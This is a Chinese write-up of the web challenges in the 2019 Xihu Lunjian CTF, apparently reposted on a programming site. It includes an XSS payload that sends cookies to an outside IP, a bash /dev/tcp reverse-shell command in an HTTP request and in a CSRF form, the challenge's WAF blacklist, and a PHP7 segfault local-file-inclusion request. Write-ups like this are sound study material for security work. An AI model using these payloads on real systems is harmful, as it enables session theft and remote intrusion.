内容简介:2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。[TOC]NULL 题目地址:http://ctf1.linkedbyx.com:10122
2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。
[TOC]
Web
Web 1 猜猜 flag 在哪
Description
NULL 题目地址:http://ctf1.linkedbyx.com:10122
Hacking
扫目录发现有 .DS_Store
文件,发现 http://ctf1.linkedbyx.com:10122/e10adc3949ba59abbe56e057f20f883e
目录下有 git 泄露
拿到文件之后有个压缩包,尝试明文攻击得到 hint.txt
拿到 code 为 9faedd5999937171912159d28b219d86,访问 flag/seed.txt
发现回显 NAVIE
在首页输入 code 参数与 name 参数,回显了另一个 code
综合前面给出的 flag/seed.txt
,猜测是个随机数的问题,应该是要猜解随机数问题,用 php_mt_seed 这个 工具 直接爆破可以得到 seed
访问 flag/209228.txt
拿到 flag
Web2 breakout
Description
NULL 题目地址:http://ctf2.linkedbyx.com:10611
Hacking
随便用一个用户名进去。
有一个留言功能,可以进行留言,有一个 report 功能,可以报告一个 url 给管理员,还有一个执行命令与清空留言的功能。所以很明显的一个利用思路就是留言处进行 xss ,把留言界面的 url 发送给管理员,拿到 cookie 即可进行命令执行
我们先测试留言
<script>alert(1);</script> <:)>alert(1);
发现是字符替代,基本过滤了 DOM 事件,测试用以下 payload
</li><iframe src='http://106.14.153.173:8080/'><li>
成功收到访问信息,所以需要我们绕过字符替代进行 xss 。按照我博客之前写的 xss 教程,我们可以在 src 处利用 html 实体编码来进行绕过,这样就不会出现关键字了,就像以下 payload :
</li><iframe src=" :window.location='http://106.14.153.173:8080/?'+encodeURI(document.cookie)"></iframe><li>
然后我们只需要把 http://ctf2.linkedbyx.com:10611/main.php
在 report 界面提交就好了。
成功拿到 cookie ,这时候我们只需要带着 cookie 去执行命令就好了
POST /exec.php HTTP/1.1 Host: ctf2.linkedbyx.com:10611 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://ctf2.linkedbyx.com:10611/exec.php Content-Type: application/x-www-form-urlencoded Content-Length: 97 Connection: close Cookie: PHPSESSID=hsujvjlaum6vc2c3tg5mraq774; token=KLIMdHTGEnxXSG4mrRRCuQ==; admin=admin_!@@!_admin_admin_hhhhh Upgrade-Insecure-Requests: 1 command=bash%20-c%20%22sh%20%3E%26%20%2Fdev%2Ftcp%2Fyour_ip%2Fport%200%3E%261%22%20&exec=1
这里我直接弹了 shell ,在根目录下发现 flag.txt
其实如果拿不到 cookie 的话,也可以用以下方式去构造一个 CSRF
<form action="exec.php" method="post" id="myform"> <input value="bash -c 'sh >& /dev/tcp/your_ip/port 0>&1\'" name="command"> <input value="1" name="exec"> </form> <iframe src=" :parent.document.getElementById('myform').submit();"></iframe>
事实证明也确实可以这么去做。
waf 黑名单如下:
function waf($str){ $black_list = "script|\W+on.*?="; $str = preg_replace("/".$black_list."/i",":)",$str); return $str; }
Web 3 babyt3
Description
babyt3(Ubuntu 16.04 php 7.0) 题目地址:http://ctf1.linkedbyx.com:10010
Hacking
index 提示了有 dir.php 跟 include $_GET['FILE']
Dir.php 可以列目录,在根目录下找到 flag ,用 http://ctf1.linkedbyx.com:10010/?file=/ffffflag_1s_Her4
包含即可
真心想吐槽,这么水的题你出在西湖论剑上合适吗???还不如月赛
赛后跟师傅们讨论的时候,发现 web3 这种题竟然…能放上来…
index.php 源码:
<?php $a = @$_GET['file']; if (!$a) { $a = './templates/index.html'; } echo 'include $_GET[\'file\']'; if (strpos('flag',$a)!==false) { die('nonono'); } include $a; ?> <!--hint: dir.php -->
Dir.php 源码:
<?php $a = @$_GET['dir']; if(!$a){ $a = '/tmp'; } var_dump(scandir($a));
然后我们就可以看到这个题是多么多么…
strpos('flag',$a) !== false
strops
参数都写反了…所以就成了没有过滤的一道题…
预期解
预期解猜测就是使用 php 7 的一个 segmentfault 错误的 bug,也对上了题目描述一开始给出了环境配置的原因
POST /index.php?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1 Host: localhost:8001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost/test.php Content-Type: multipart/form-data; boundary=---------------------------9417939141775834208717807850 Content-Length: 248 Connection: close Cookie: PHPSESSID=09e1deae1da0a95b2515a0c0a9a07c8b Upgrade-Insecure-Requests: 1 -----------------------------9417939141775834208717807850 Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------9417939141775834208717807850--
发以上 http 包,将 php://filter/string.strip_tags/resource=/etc/passwd
这个 payload 传入 include
方法会让 php 产生一个 segmentfault ,然后在这段时间内上传的文件将会存储在 php.ini 指定的 upload_tmp_dir
文件夹下,并且不会被删除。
这样我们就可以包含我们的恶意文件代码了。具体看 LFI via SegmentFault
自己做了个漏洞环境供复现: PHP7-LFI
Web 4 blog
Description
NULL
Hacking
原题,Google CTF 2018 bbs
github 源码地址: https://github.com/google/google-ctf/tree/master/2018/quals/web-bbs
Wp: https://ctftime.org/task/6243
Conclusion
这次比赛收获不大,说实在的,还没安恒月赛质量高,而且第三题出的真的是秀了我一脸,让我很怀疑安恒对这次比赛的题目的检验等,也让我对接下来如何去办好一场比赛有一些借鉴经验,希望接下来的 SUCTF 全国赛不会出现这种难以入目的低级错误。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
编程语言实现模式
Terence Parr / 李袁奎、尧飘海 / 华中科技大学出版社 / 2012-3-20 / 72.00元
《编程语言实现模式》旨在传授开发语言应用(工具)的经验和理念,帮助读者构建自己的语言应用。这里的语言应用并非特指用编译器或解释器实现编程语言,而是泛指任何处理、分析、翻译输入文件的程序,比如配置文件读取器、数据读取器、模型驱动的代码生成器、源码到源码的翻译器、源码分析工具、解释器,以及诸如此类的工具。为此,作者举例讲解已有语言应用的工作机制,拆解、归纳出31种易于理解且常用的设计模式(每种都包括通......一起来看看 《编程语言实现模式》 这本书的介绍吧!